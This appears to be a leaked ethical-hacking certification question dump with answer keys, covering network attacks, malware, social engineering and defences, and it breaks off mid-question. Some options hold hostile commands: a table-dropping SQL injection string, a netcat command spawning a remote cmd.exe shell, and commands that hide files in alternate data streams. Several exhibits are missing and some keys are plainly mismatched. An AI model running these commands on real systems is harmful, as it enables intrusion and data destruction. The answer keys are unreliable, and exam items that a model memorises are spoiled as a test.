Review: Info Security Questions & Answers

QUESTION 1
Which of the following countermeasure can specifically protect against both the MAC Flood and MAC
Spoofing attacks?
A. Configure Port Security on the switch
B. Configure Port Recon on the switch
C. Configure Switch Mapping
D. Configure Multiple Recognition on the switch
Correct Answer: A


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QUESTION 2
Jimmy, an attacker, knows that he can take advantage of poorly designed input validation routines to create
or alter SQL commands to gain access to private data or execute commands in the database. What
technique does Jimmy use to compromise a database?
A. Jimmy can submit user input that executes an operating system command to compromise a target
system
B. Jimmy can gain control of system to flood the target system with requests, preventing legitimate users
from gaining access
C. Jimmy can utilize an incorrect configuration that leads to access with higher-than expected privilege of
the database
D. Jimmy can utilize this particular database threat that is an SQL injection technique to penetrate a target
system
Correct Answer: D



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QUESTION 3
This IDS defeating technique works by splitting a datagram (or packet) into multiple fragments and the IDS
will not spot the true nature of the fully assembled datagram. The datagram is not reassembled until it
reaches its final destination. It would be a processor-intensive task for IDS to reassemble all fragments
itself, and on a busy system the packet will slip through the IDS onto the network. What is this technique
called?
2

A. IP Routing or Packet Dropping
B. IDS Spoofing or Session Assembly
C. IP Fragmentation or Session Splicing
D. IP Splicing or Packet Reassembly
Correct Answer: C



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QUESTION 4
If a competitor wants to cause damage to your organization, steal critical secrets, or put you out of
business, they just have to find a job opening, prepare someone to pass the interview, have that person
hired, and they will be in the organization.
How would you prevent such type of attacks?
3

A. It is impossible to block these attacks
B. Hire the people through third-party job agencies who will vet them for you
C. Conduct thorough background checks before you engage them
D. Investigate their social networking profiles
Correct Answer: C



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QUESTION 5
This type of Port Scanning technique splits TCP header into several packets so that the packet filters are
not able to detect what the packets intends to do.
A. UDP Scanning
B. IP Fragment Scanning
C. Inverse TCP flag scanning
D. ACK flag scanning
Correct Answer: B



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QUESTION 6
Joel and her team have been going through tons of garbage, recycled paper, and other rubbish in order to
find some information about the target they are attempting to penetrate. How would you call this type of
activity?
A. Dumpster Diving
B. Scanning
C. CI Gathering
D. Garbage Scooping
Correct Answer: A



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QUESTION 7
Anonymizer sites access the Internet on your behalf, protecting your personal information from disclosure.
An anonymizer protects all of your computer's identifying information while it surfs for
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you, enabling you to remain at least one step removed from the sites you visit.
You can visit Web sites without allowing anyone to gather information on sites visited by you. Services that
provide anonymity disable pop-up windows and cookies, and conceal visitor's IP address.
These services typically use a proxy server to process each HTTP request. When the user requests a Web
page by clicking a hyperlink or typing a URL into their browser, the service retrieves and displays the
information using its own server. The remote server (where the requested Web page resides) receives
information on the anonymous Web surfing service in place of your information.
In which situations would you want to use anonymizer? (Select 3 answers)
A. Increase your Web browsing bandwidth speed by using Anonymizer
B. To protect your privacy and Identity on the Internet
C. To bypass blocking applications that would prevent access to Web sites or parts of sites that you want
to visit.
D. Post negative entries in blogs without revealing your IP identity
Correct Answer: BCD



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QUESTION 8
What type of attack is shown in the following diagram?
5

A. Man-in-the-Middle (MiTM) Attack
B. Session Hijacking Attack
C. SSL Spoofing Attack
D. Identity Stealing Attack
Correct Answer: A



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QUESTION 9
Jack Hacker wants to break into Brown Co.'s computers and obtain their secret double fudge cookie recipe.
Jack calls Jane, an accountant at Brown Co., pretending to be an administrator from Brown Co. Jack tells
Jane that there has been a problem with some accounts and asks her to verify her password with him ''just
to double check our records.'' Jane does not suspect anything amiss, and parts with her password. Jack
can now access Brown Co.'s computers with a valid user name and password, to steal the cookie recipe.
What kind of attack is being illustrated here?
A. Reverse Psychology
B. Reverse Engineering
C. Social Engineering
D. Spoofing Identity
E. Faking Identity
Correct Answer: C



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QUESTION 10
How do you defend against ARP Spoofing? Select three.
A. Use ARPWALL system and block ARP spoofing attacks
B. Tune IDS Sensors to look for large amount of ARP traffic on local subnets
C. Use private VLANS
D. Place static ARP entries on servers, workstation and routers
Correct Answer: ACD



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ARPwall is used in protecting against ARP spoofing.
Incorrect answer:
6

IDS option may works fine in case of monitoring the traffic from outside the network but not from internal
hosts.
QUESTION 11
TCP SYN Flood attack uses the three-way handshake mechanism.
1. An attacker at system A sends a SYN packet to victim at system B.
2. System B sends a SYN/ACK packet to victim A.
3. As a normal three-way handshake mechanism system A should send an ACK packet to system B,
however, system A does not send an ACK packet to system B. In this case client B is waiting for an ACK
packet from client A.
This status of client B is called _________________
A. "half-closed"
B. "half open"
C. "full-open"
D. "xmas-open"
Correct Answer: B



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QUESTION 12
Lori is a Certified Ethical Hacker as well as a Certified Hacking Forensics Investigator working as an IT
security consultant. Lori has been hired on by Kiley Innovators, a large marketing firm that recently
underwent a string of thefts and corporate espionage incidents. Lori is told that a rival marketing company
came out with an exact duplicate product right before Kiley Innovators was about to release it. The
executive team believes that an employee is leaking information to the rival company. Lori questions all
employees, reviews server logs, and firewall logs; after which she finds nothing. Lori is then given
permission to search through the corporate email system. She searches by email being sent to and sent
from the rival marketing company.
She finds one employee that appears to be sending very large email to this other marketing company, even
though they should have no reason to be communicating with them. Lori tracks
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down the actual emails sent and upon opening them, only finds picture files attached to them. These files
seem perfectly harmless, usually containing some kind of joke. Lori decides to use some special software
to further examine the pictures and finds that each one had hidden text that was stored in each picture.
What technique was used by the Kiley Innovators employee to send information to the rival marketing
company?
A. The Kiley Innovators employee used cryptography to hide the information in the emails sent
B. The method used by the employee to hide the information was logical watermarking
C. The employee used steganography to hide information in the picture attachments
D. By using the pictures to hide information, the employee utilized picture fuzzing
Correct Answer: C



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QUESTION 13
You run nmap port Scan on 10.0.0.5 and attempt to gain banner/server information from services running
on ports 21, 110 and 123.
Here is the output of your scan results:
Which of the following nmap command did you run?
A. nmap -A -sV -p21,110,123 10.0.0.5
B. nmap -F -sV -p21,110,123 10.0.0.5
C. nmap -O -sV -p21,110,123 10.0.0.5
D. nmap -T -sV -p21,110,123 10.0.0.5
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Correct Answer: C



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QUESTION 14
How do you defend against Privilege Escalation?
A. Use encryption to protect sensitive data
B. Restrict the interactive logon privileges
C. Run services as unprivileged accounts
D. Allow security settings of IE to zero or Low
E. Run users and applications on the least privileges
Correct Answer: ABCE



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QUESTION 15
What does ICMP (type 11, code 0) denote?
A. Source Quench
B. Destination Unreachable
C. Time Exceeded
D. Unknown Type
Correct Answer: C



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QUESTION 16
You are the security administrator of Jaco Banking Systems located in Boston. You are setting up ebanking
website (http://www.ejacobank.com) authentication system. Instead of issuing banking customer
with a single password, you give them a printed list of 100 unique passwords. Each time the customer
needs to log into the e-banking system website, the customer enters the next password on the list. If
someone sees them type the password using shoulder surfing, MiTM or keyloggers, then no damage is
done because the password will not be accepted a second time. Once the list of 100 passwords is almost
finished, the system automatically sends out a new password list by encrypted e-mail to the customer.
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You are confident that this security implementation will protect the customer from password abuse.
Two months later, a group of hackers called "HackJihad" found a way to access the one-time password list
issued to customers of Jaco Banking Systems. The hackers set up a fake website (http://www.e-jacobank.
com) and used phishing attacks to direct ignorant customers to it. The fake website asked users for their ebanking
username and password, and the next unused entry from their one-time password sheet. The
hackers collected 200 customer's username/passwords this way. They transferred money from the
customer's bank account to various offshore accounts.
Your decision of password policy implementation has cost the bank with USD 925,000 to hackers. You
immediately shut down the e-banking website while figuring out the next best security solution
What effective security solution will you recommend in this case?
A. Implement Biometrics based password authentication system. Record the customers face image to the
authentication database
B. Configure your firewall to block logon attempts of more than three wrong tries
C. Enable a complex password policy of 20 characters and ask the user to change the password
immediately after they logon and do not store password histories
D. Implement RSA SecureID based authentication system
Correct Answer: D



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QUESTION 17
More sophisticated IDSs look for common shellcode signatures. But even these systems can be bypassed,
by using polymorphic shellcode. This is a technique common among virus writers ?it basically hides the true
nature of the shellcode in different disguises.
How does a polymorphic shellcode work?
A. They encrypt the shellcode by XORing values over the shellcode, using loader code to decrypt the
shellcode, and then executing the decrypted shellcode
B. They convert the shellcode into Unicode, using loader to convert back to machine code then executing
them
C. They reverse the working instructions into opposite order by masking the IDS signatures
D. They compress shellcode into normal instructions, uncompress the shellcode using loader code and
then executing the shellcode
Correct Answer: A



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QUESTION 18
SYN Flood is a DOS attack in which an attacker deliberately violates the three-way handshake and opens a
large number of half-open TCP connections. The signature of attack for SYN Flood contains:
A. The source and destination address having the same value
B. A large number of SYN packets appearing on a network without the corresponding reply packets
C. The source and destination port numbers having the same value
D. A large number of SYN packets appearing on a network with the corresponding reply packets
Correct Answer: B



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QUESTION 19
Which of the following type of scanning utilizes automated process of proactively identifying vulnerabilities
of the computing systems present on a network?
A. Port Scanning
B. Single Scanning
C. External Scanning
D. Vulnerability Scanning
Correct Answer: D



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QUESTION 20
The following script shows a simple SQL injection. The script builds an SQL query by concatenating hardcoded
strings together with a string entered by the user:
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The user is prompted to enter the name of a city on a Web form. If she enters Chicago, the query
assembled by the script looks similar to the following:
SELECT * FROM OrdersTable WHERE ShipCity = 'Chicago'
How will you delete the OrdersTable from the database using SQL Injection?
A. Chicago'; drop table OrdersTable --
B. Delete table'blah'; OrdersTable --
C. EXEC; SELECT * OrdersTable > DROP --
D. cmdshell'; 'del c:\sql\mydb\OrdersTable' //
Correct Answer: A



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QUESTION 21
What are the limitations of Vulnerability scanners? (Select 2 answers)
A. There are often better at detecting well-known vulnerabilities than more esoteric ones
B. The scanning speed of their scanners are extremely high
C. It is impossible for any, one scanning product to incorporate all known vulnerabilities in a timely manner
D. The more vulnerabilities detected, the more tests required
E. They are highly expensive and require per host scan license
Correct Answer: AC



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QUESTION 22
Stephanie works as senior security analyst for a manufacturing company in Detroit. Stephanie manages
network security throughout the organization. Her colleague Jason told her in confidence that he was able
to see confidential corporate information posted on the external website http://www.jeansclothesman.com.
He tries random URLs on the company's website and finds confidential information leaked over the web.
Jason says this happened about a month ago. Stephanie visits the said URLs, but she finds nothing. She is
very concerned about this, since someone should be held accountable if there was sensitive information
posted on the website.
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Where can Stephanie go to see past versions and pages of a website?
A. She should go to the web page Samspade.org to see web pages that might no longer be on the website
B. If Stephanie navigates to Search.com; she will see old versions of the company website
C. Stephanie can go to Archive.org to see past versions of the company website
D. AddressPast.com would have any web pages that are no longer hosted on the company's website
Correct Answer: C



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QUESTION 23
Dan is conducting penetration testing and has found a vulnerability in a Web Application which gave him the
sessionID token via a cross site scripting vulnerability. Dan wants to replay this token. However, the session
ID manager (on the server) checks the originating IP address as well. Dan decides to spoof his IP address
in order to replay the sessionID. Why do you think Dan might not be able to get an interactive session?
A. Dan cannot spoof his IP address over TCP network
B. The scenario is incorrect as Dan can spoof his IP and get responses
C. The server will send replies back to the spoofed IP address
D. Dan can establish an interactive session only if he uses a NAT
Correct Answer: C



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QUESTION 24
Jason works in the sales and marketing department for a very large advertising agency located in Atlanta.
Jason is working on a very important marketing campaign for his company's largest client. Before the
project could be completed and implemented, a competing advertising company comes out with the exact
same marketing materials and advertising, thus rendering all the work done for Jason's client unusable.
Jason is questioned about this and says he has no idea how all the material ended up in the hands of a
competitor.
Without any proof, Jason's company cannot do anything except move on. After working on another high
profile client for about a month, all the marketing and sales material again ends up in the hands of another
competitor and is released to the public before Jason's company can finish
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the project. Once again, Jason says that he had nothing to do with it and does not know how this could
have happened. Jason is given leave with pay until they can figure out what is going on.
Jason's supervisor decides to go through his email and finds a number of emails that were sent to the
competitors that ended up with the marketing material. The only items in the emails were attached jpg files,
but nothing else. Jason's supervisor opens the picture files, but cannot find anything out of the ordinary with
them.
What technique has Jason most likely used?
A. Stealth Rootkit Technique
B. ADS Streams Technique
C. Snow Hiding Technique
D. Image Steganography Technique
Correct Answer: D



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QUESTION 25
What type of Virus is shown here?
A. Cavity Virus
B. Macro Virus
C. Boot Sector Virus
D. Metamorphic Virus
E. Sparse Infector Virus
Correct Answer: E



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QUESTION 26
14

An attacker finds a web page for a target organization that supplies contact information for the company.
Using available details to make the message seem authentic, the attacker drafts e-mail to an employee on
the contact page that appears to come from an individual who might reasonably request confidential
information, such as a network administrator.
The email asks the employee to log into a bogus page that requests the employee's user name and
password or click on a link that will download spyware or other malicious programming.
Google's Gmail was hacked using this technique and attackers stole source code and sensitive data from
Google servers. This is highly sophisticated attack using zero-day exploit vectors, social engineering and
malware websites that focused on targeted individuals working for the company.
What is this deadly attack called?
A. Spear phishing attack
B. Trojan server attack
C. Javelin attack
D. Social networking attack
Correct Answer: A



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QUESTION 27
Vulnerability scanners are automated tools that are used to identify vulnerabilities and misconfigurations of
hosts. They also provide information regarding mitigating discovered vulnerabilities.
15

Which of the following statements is incorrect?
A. Vulnerability scanners attempt to identify vulnerabilities in the hosts scanned.
B. Vulnerability scanners can help identify out-of-date software versions, missing patches, or system
upgrades
C. They can validate compliance with or deviations from the organization's security policy
D. Vulnerability scanners can identify weakness and automatically fix and patch the vulnerabilities without
user intervention
Correct Answer: D



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QUESTION 28
How does traceroute map the route a packet travels from point A to point B?
A. Uses a TCP timestamp packet that will elicit a time exceeded in transit message
B. Manipulates the value of the time to live (TTL) within packet to elicit a time exceeded in transit message
C. Uses a protocol that will be rejected by gateways on its way to the destination
D. Manipulates the flags within packets to force gateways into generating error messages "Pass Any
Exam. Any Time." - www.actualtests.com 16

Correct Answer: B



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QUESTION 29
How do you defend against DHCP Starvation attack?
A. Enable ARP-Block on the switch
B. Enable DHCP snooping on the switch
C. Configure DHCP-BLOCK to 1 on the switch
D. Install DHCP filters on the switch to block this attack
Correct Answer: B



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QUESTION 30
What type of session hijacking attack is shown in the exhibit?
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A. Cross-site scripting Attack
B. SQL Injection Attack
C. Token sniffing Attack
D. Session Fixation Attack
Correct Answer: D



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QUESTION 31
The SYN flood attack sends TCP connections requests faster than a machine can process them.
- Attacker creates a random source address for each packet
- SYN flag set in each packet is a request to open a new connection to the server from the spoofed IP
address
- Victim responds to spoofed IP address, then waits for confirmation that never arrives (timeout wait is
about 3 minutes)
- Victim's connection table fills up waiting for replies and ignores new connections
- Legitimate users are ignored and will not be able to access the server
How do you protect your network against SYN Flood attacks?
A. SYN cookies. Instead of allocating a record, send a SYN-ACK with a carefully constructed sequence
number generated as a hash of the clients IP address, port number, and other information. When the
client responds with a normal ACK, that special sequence number will be included, which the server
then verifies. Thus, the server first allocates memory on the third packet of the handshake, not the first.
B. RST cookies - The server sends a wrong SYN/ACK back to the client. The client should then generate a
RST packet telling the server that something is wrong. At this point, the server knows the client is valid
and will now accept incoming connections from that client normally "Pass Any Exam. Any Time." - www.
actualtests.com 18

C. Check the incoming packet's IP address with the SPAM database on the Internet and enable the filter
using ACLs at the Firewall
D. Stack Tweaking. TCP stacks can be tweaked in order to reduce the effect of SYN floods.
Reduce the timeout before a stack frees up the memory allocated for a connection
E. Micro Blocks. Instead of allocating a complete connection, simply allocate a micro record of 16- bytes
for the incoming SYN object
Correct Answer: ABDE



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QUESTION 32
What type of port scan is shown below?
A. Idle Scan
B. FIN Scan
C. XMAS Scan
D. Windows Scan
Correct Answer: B



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QUESTION 33
Stephanie works as a records clerk in a large office building in downtown Chicago. On Monday, she went to
a mandatory security awareness class (Security5) put on by her company's IT department. During the
class, the IT department informed all employees that everyone's Internet activity was thenceforth going to
be monitored.
Stephanie is worried that her Internet activity might give her supervisor reason to write her up, or
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worse get her fired. Stephanie's daily work duties only consume about four hours of her time, so she usually
spends the rest of the day surfing the web. Stephanie really enjoys surfing the Internet but definitely does
not want to get fired for it.
What should Stephanie use so that she does not get in trouble for surfing the Internet?
A. Stealth IE
B. Stealth Anonymizer
C. Stealth Firefox
D. Cookie Disabler
Correct Answer: B



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QUESTION 34
Neil is a network administrator working in Istanbul. Neil wants to setup a protocol analyzer on his network
that will receive a copy of every packet that passes through the main office switch. What type of port will
Neil need to setup in order to accomplish this?
A. Neil will have to configure a Bridged port that will copy all packets to the protocol analyzer.
B. Neil will need to setup SPAN port that will copy all network traffic to the protocol analyzer.
C. He will have to setup an Ether channel port to get a copy of all network traffic to the analyzer.
D. He should setup a MODS port which will copy all network traffic.
Correct Answer: B



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QUESTION 35
In TCP communications there are 8 flags; FIN, SYN, RST, PSH, ACK, URG, ECE, CWR. These flags have
decimal numbers assigned to them:
FIN = 1
SYN = 2
RST = 4
PSH = 8
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ACK = 16
URG = 32
ECE = 64
CWR = 128
Jason is the security administrator of ASPEN Communications. He analyzes some traffic using Wireshark
and has enabled the following filters.
What is Jason trying to accomplish here?
A. SYN, FIN, URG and PSH
B. SYN, SYN/ACK, ACK
C. RST, PSH/URG, FIN
D. ACK, ACK, SYN, URG
Correct Answer: B



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QUESTION 36
Jayden is a network administrator for her company. Jayden wants to prevent MAC spoofing on all the Cisco
switches in the network. How can she accomplish this?
A. Jayden can use the commanD. ip binding set.
B. Jayden can use the commanD. no ip spoofing.
C. She should use the commanD. no dhcp spoofing.
D. She can use the commanD. ip dhcp snooping binding.
Correct Answer: D



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QUESTION 37
Peter extracts the SID list from Windows 2008 Server machine using the hacking tool "SIDExtracter". Here
is the output of the SIDs:
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From the above list identify the user account with System Administrator privileges?
A. John
B. Rebecca
C. Sheela
D. Shawn
E. Somia
F. Chang
G. Micah
Correct Answer: F



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QUESTION 38
What is the problem with this ASP script (login.asp)?
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A. The ASP script is vulnerable to Cross Site Scripting attack
B. The ASP script is vulnerable to Session Splice attack
C. The ASP script is vulnerable to XSS attack
D. The ASP script is vulnerable to SQL Injection attack
Correct Answer: D



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QUESTION 39
Google uses a unique cookie for each browser used by an individual user on a computer. This cookie
contains information that allows Google to identify records about that user on its database. This cookie is
submitted every time a user launches a Google search, visits a site using AdSense etc. The information
stored in Google's database, identified by the cookie, includes
- Everything you search for using Google
- Every web page you visit that has Google Adsense ads
How would you prevent Google from storing your search keywords?
A. Block Google Cookie by applying Privacy and Security settings in your web browser "Pass Any Exam.
Any Time." - www.actualtests.com 23

B. Disable the Google cookie using Google Advanced Search settings on Google Search page
C. Do not use Google but use another search engine Bing which will not collect and store your search
keywords
D. Use MAC OS X instead of Windows 7. Mac OS has higher level of privacy controls by default.
Correct Answer: A



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QUESTION 40
How many bits encryption does SHA-1 use?
A. 64 bits
B. 128 bits
C. 256 bits
D. 160 bits
Correct Answer: D



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QUESTION 41
In Trojan terminology, what is required to create the executable file chess.exe as shown below?
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A. Mixer
B. Converter
C. Wrapper
D. Zipper
Correct Answer: C



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QUESTION 42
Syslog is a standard for logging program messages. It allows separation of the software that generates
messages from the system that stores them and the software that reports and analyzes them. It also
provides devices, which would otherwise be unable to communicate a means to
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notify administrators of problems or performance.
What default port Syslog daemon listens on?
A. 242
B. 312
C. 416
D. 514
Correct Answer: D



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QUESTION 43
This attack uses social engineering techniques to trick users into accessing a fake Web site and divulging
personal information. Attackers send a legitimate-looking e-mail asking users to update their information on
the company's Web site, but the URLs in the e-mail actually point to a false Web site.
A. Wiresharp attack
B. Switch and bait attack
C. Phishing attack
D. Man-in-the-Middle attack
Correct Answer: C



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QUESTION 44
26

Which of the following statements would NOT be a proper definition for a Trojan Horse?
A. An authorized program that has been designed to capture keyboard keystroke while the user is unaware
of such activity being performed
B. An unauthorized program contained within a legitimate program. This unauthorized program performs
functions unknown (and probably unwanted) by the user
C. A legitimate program that has been altered by the placement of unauthorized code within it; this code
performs functions unknown (and probably unwanted) by the user
D. Any program that appears to perform a desirable and necessary function but that (because of
unauthorized code within it that is unknown to the user) performs functions unknown (and definitely
unwanted) by the user
Correct Answer: A



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QUESTION 45
What is the correct command to run Netcat on a server using port 56 that spawns command shell when
connected?
A. nc -port 56 -s cmd.exe
B. nc -p 56 -p -e shell.exe
C. nc -r 56 -c cmd.exe
D. nc -L 56 -t -e cmd.exe
Correct Answer: D



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QUESTION 46
27

SNMP is a connectionless protocol that uses UDP instead of TCP packets (True or False)
A. true
B. false
Correct Answer: A



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QUESTION 47
TCP/IP Session Hijacking is carried out in which OSI layer?
A. Datalink layer
B. Transport layer
C. Network layer
D. Physical layer
Correct Answer: B



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QUESTION 48
In which part of OSI layer, ARP Poisoning occurs?
A. Transport Layer
B. Datalink Layer
28

C. Physical Layer
D. Application layer
Correct Answer: B



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QUESTION 49
You want to hide a secret.txt document inside c:\windows\system32\tcpip.dll kernel library using ADS
streams. How will you accomplish this?
A. copy secret.txt c:\windows\system32\tcpip.dll kernel>secret.txt
B. copy secret.txt c:\windows\system32\tcpip.dll:secret.txt
C. copy secret.txt c:\windows\system32\tcpip.dll |secret.txt
D. copy secret.txt >< c:\windows\system32\tcpip.dll kernel secret.txt
Correct Answer: B



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QUESTION 50
You just purchased the latest DELL computer, which comes pre-installed with Windows 7, McAfee antivirus
software and a host of other applications. You want to connect Ethernet wire to your cable modem and start
using the computer immediately. Windows is dangerously insecure when unpacked from the box, and there
are a few things that you must do before you use it.
A. New installation of Windows should be patched by installing the latest service packs and hotfixes
B. Key applications such as Adobe Acrobat, Macromedia Flash, Java, Winzip etc., must have the latest
security patches installed
C. Install a personal firewall and lock down unused ports from connecting to your computer
D. Install the latest signatures for Antivirus software
E. Configure "Windows Update" to automatic
F. Create a non-admin user with a complex password and logon to this account
G. You can start using your computer as vendors such as DELL, HP and IBM would have already installed
the latest service packs.
Correct Answer:



Answer: A,C,D,E,F
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QUESTION 51
In the context of Trojans, what is the definition of a Wrapper?
A. An encryption tool to protect the Trojan
B. A tool used to bind the Trojan with a legitimate file
C. A tool used to calculate bandwidth and CPU cycles wasted by the Trojan
D. A tool used to encapsulate packets within a new header and footer
Correct Answer: B



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Wrapper does not change header or footer of any packets but it mix between legitimate file and Trojan file.
QUESTION 52
Your computer is infected by E-mail tracking and spying Trojan. This Trojan infects the computer with a
single file - emos.sys
Which step would you perform to detect this type of Trojan?
A. Scan for suspicious startup programs using msconfig
30

B. Scan for suspicious network activities using Wireshark
C. Scan for suspicious device drivers in c:\windows\system32\drivers
D. Scan for suspicious open ports using netstat
Correct Answer: C



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QUESTION 53
Which type of hacker represents the highest risk to your network?
A. black hat hackers
B. grey hat hackers
C. disgruntled employees
D. script kiddies
Correct Answer: C



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QUESTION 54
Shayla is an IT security consultant, specializing in social engineering and external penetration tests. Shayla
has been hired on by Treks Avionics, a subcontractor for the Department of Defense. Shayla has been
given authority to perform any and all tests necessary to audit the company's network security.
No employees for the company, other than the IT director, know about Shayla's work she will be doing.
Shayla's first step is to obtain a list of employees through company website contact pages. Then she
befriends a female employee of the company through an online chat website. After meeting with the female
employee numerous times, Shayla is able to gain her trust and they become friends. One day, Shayla
steals the employee's access badge and uses it to gain unauthorized access to the Treks Avionics offices.
What type of insider threat would Shayla be considered?
A. She would be considered an Insider Affiliate
B. Because she does not have any legal access herself, Shayla would be considered an Outside Affiliate
C. Shayla is an Insider Associate since she has befriended an actual employee
D. Since Shayla obtained access with a legitimate company badge; she would be considered a "Pass Any
Exam. Any Time." - www.actualtests.com 31

Pure Insider
Correct Answer: A



:
QUESTION 55
What port number is used by Kerberos protocol?
A. 88
B. 44
C. 487
D. 419
Correct Answer: A



:
QUESTION 56
What does FIN in TCP flag define?
A. Used to abort a TCP connection abruptly
B. Used to close a TCP connection
C. Used to acknowledge receipt of a previous packet or transmission
D. Used to indicate the beginning of a TCP connection
Correct Answer: B



:
QUESTION 57
Annie has just succeeded in stealing a secure cookie via a XSS attack. She is able to replay the cookie
even while the session is invalid on the server. Why do you think this is possible?
A. It works because encryption is performed at the application layer (single encryption key)
B. The scenario is invalid as a secure cookie cannot be replayed
C. It works because encryption is performed at the network layer (layer 1 encryption)
D. Any cookie can be replayed irrespective of the session status "Pass Any Exam. Any Time." - www.
actualtests.com 32

Correct Answer: A



:
QUESTION 58
This attack technique is used when a Web application is vulnerable to an SQL Injection but the results of
the Injection are not visible to the attacker.
A. Unique SQL Injection
B. Blind SQL Injection
C. Generic SQL Injection
D. Double SQL Injection
Correct Answer: B



:
QUESTION 59
A common technique for luring e-mail users into opening virus-launching attachments is to send messages
that would appear to be relevant or important to many of their potential recipients. One way of
accomplishing this feat is to make the virus-carrying messages appear to come from some type of business
entity retailing sites, UPS, FEDEX, CITIBANK or a major provider of a common service.
Here is a fraudulent e-mail claiming to be from FedEx regarding a package that could not be delivered. This
mail asks the receiver to open an attachment in order to obtain the FEDEX tracking number for picking up
the package. The attachment contained in this type of e-mail activates a virus.
33

Vendors send e-mails like this to their customers advising them not to open any files attached with the mail,
as they do not include attachments.
Fraudulent e-mail and legit e-mail that arrives in your inbox contain the fedex.com as the sender of the mail.
How do you ensure if the e-mail is authentic and sent from fedex.com?
A. Verify the digital signature attached with the mail, the fake mail will not have Digital ID at all
B. Check the Sender ID against the National Spam Database (NSD)
C. Fake mail will have spelling/grammatical errors
D. Fake mail uses extensive images, animation and flash content
Correct Answer: A



:
QUESTION 60
What file system vulnerability does the following command take advantage of?
34

type c:\anyfile.exe > c:\winnt\system32\calc.exe:anyfile.exe
A. HFS
B. Backdoor access
C. XFS
D. ADS
Correct Answer: D



:
QUESTION 61
You are the Security Administrator of Xtrinity, Inc. You write security policies and conduct assessments to
protect the company's network. During one of your periodic checks to see how well policy is being observed
by the employees, you discover an employee has attached cell phone 3G modem to his telephone line and
workstation. He has used this cell phone 3G modem to dial in to his workstation, thereby bypassing your
firewall. A security breach has occurred as a direct result of this activity. The employee explains that he
used the modem because he had to download software for a department project. How would you resolve
this situation?
A. Reconfigure the firewall
B. Enforce the corporate security policy
C. Install a network-based IDS
D. Conduct a needs analysis
Correct Answer: B



:
QUESTION 62
In what stage of Virus life does a stealth virus gets activated with the user performing certain actions such
as running an infected program?
A. Design
B. Elimination
C. Incorporation
D. Replication
E. Launch
F. Detection
35

Correct Answer: E



:
QUESTION 63
What is a sniffing performed on a switched network called?
A. Spoofed sniffing
B. Passive sniffing
C. Direct sniffing
D. Active sniffing
Correct Answer: D



:
QUESTION 64
A rootkit is a collection of tools (programs) that enable administrator-level access to a computer. This
program hides itself deep into an operating system for malicious activity and is extremely difficult to detect.
The malicious software operates in a stealth fashion by hiding its files, processes and registry keys and
may be used to create a hidden directory or folder designed to keep out of view from a user's operating
system and security software.
36

What privilege level does a rootkit require to infect successfully on a Victim's machine?
A. User level privileges
B. Ring 3 Privileges
C. System level privileges
D. Kernel level privileges
Correct Answer: D



:
QUESTION 65
Which Steganography technique uses Whitespace to hide secret messages?
A. snow
B. beetle
C. magnet
D. cat
Correct Answer: A



:
QUESTION 66
Cyber Criminals have long employed the tactic of masking their true identity. In IP spoofing, an attacker
gains unauthorized access to a computer or a network by making it appear that a malicious message has
come from a trusted machine, by "spoofing" the IP address of that machine.
How would you detect IP spoofing?
A. Check the IPID of the spoofed packet and compare it with TLC checksum. If the numbers match then it
is spoofed packet
B. Probe a SYN Scan on the claimed host and look for a response SYN/FIN packet, if the connection
completes then it is a spoofed packet
C. Turn on 'Enable Spoofed IP Detection' in Wireshark, you will see a flag tick if the packet is spoofed
D. Sending a packet to the claimed host will result in a reply. If the TTL in the reply is not the same as the
packet being checked then it is a spoofed packet "Pass Any Exam. Any Time." - www.actualtests.com
37

Correct Answer: D



:
QUESTION 67
David is a security administrator working in Boston. David has been asked by the office's manager to block
all POP3 traffic at the firewall because he believes employees are spending too much time reading
personal email. How can David block POP3 at the firewall?
A. David can block port 125 at the firewall.
B. David can block all EHLO requests that originate from inside the office.
C. David can stop POP3 traffic by blocking all HELO requests that originate from inside the office.
D. David can block port 110 to block all POP3 traffic.
Correct Answer: D



:
QUESTION 68
You want to capture Facebook website traffic in Wireshark. What display filter should you use that shows all
TCP packets that contain the word 'facebook'?
A. display==facebook
B. traffic.content==facebook
C. tcp contains facebook
D. list.display.facebook
Correct Answer: C



:
QUESTION 69
XSS attacks occur on Web pages that do not perform appropriate bounds checking on data entered by
users. Characters like < > that mark the beginning/end of a tag should be converted into HTML entities.
38

What is the correct code when converted to html entities?
A. Option A
B. Option B
C. Option C
D. Option D
Correct Answer: D



:
QUESTION 70
39

Most cases of insider abuse can be traced to individuals who are introverted, incapable of dealing with
stress or conflict, and frustrated with their job, office politics, and lack of respect or promotion. Disgruntled
employees may pass company secrets and intellectual property to competitors for monitory benefits.
Here are some of the symptoms of a disgruntled employee:
A. Frequently leaves work early, arrive late or call in sick
B. Spends time surfing the Internet or on the phone
C. Responds in a confrontational, angry, or overly aggressive way to simple requests or comments
D. Always negative; finds fault with everything
These disgruntled employees are the biggest threat to enterprise security. How do you deal with these
threats? (Select 2 answers)
E. Limit access to the applications they can run on their desktop computers and enforce strict work hour
rules
F. By implementing Virtualization technology from the desktop to the data centre, organizations can isolate
different environments with varying levels of access and security to various employees
G. Organizations must ensure that their corporate data is centrally managed and delivered to users just
and when needed
H. Limit Internet access, e-mail communications, access to social networking sites and job hunting portals
Correct Answer: BC



:
QUESTION 71
Fake Anti-Virus, is one of the most frequently encountered and persistent threats on the web. This malware
uses social engineering to lure users into infected websites with a technique called Search Engine
Optimization.
Once the Fake AV is downloaded into the user's computer, the software will scare them into believing their
system is infected with threats that do not really exist, and then push users to purchase services to clean up
the non-existent threats.
The Fake AntiVirus will continue to send these annoying and intrusive alerts until a payment is made.
40

What is the risk of installing Fake AntiVirus?
A. Victim's Operating System versions, services running and applications installed will be published on
Blogs and Forums
B. Victim's personally identifiable information such as billing address and credit card details, may be
extracted and exploited by the attacker
C. Once infected, the computer will be unable to boot and the Trojan will attempt to format the hard disk
D. Denial of Service attack will be launched against the infected computer crashing other machines on the
connected network
Correct Answer: B



:
QUESTION 72
How would you describe an attack where an attacker attempts to deliver the payload over multiple packets
over long periods of time with the purpose of defeating simple pattern matching in IDS systems without
session reconstruction? A characteristic of this attack would be a continuous stream of small packets.
A. Session Hijacking
41

B. Session Stealing
C. Session Splicing
D. Session Fragmentation
Correct Answer: C



:
QUESTION 73
Jake works as a system administrator at Acme Corp. Jason, an accountant of the firm befriends him at the
canteen and tags along with him on the pretext of appraising him about potential tax benefits. Jason waits
for Jake to swipe his access card and follows him through the open door into the secure systems area. How
would you describe Jason's behavior within a security context?
A. Smooth Talking
B. Swipe Gating
C. Tailgating
D. Trailing
Correct Answer: C



:
QUESTION 74
While performing a ping sweep of a local subnet you receive an ICMP reply of Code 3/Type 13 for all the
pings you have sent out. What is the most likely cause of this?
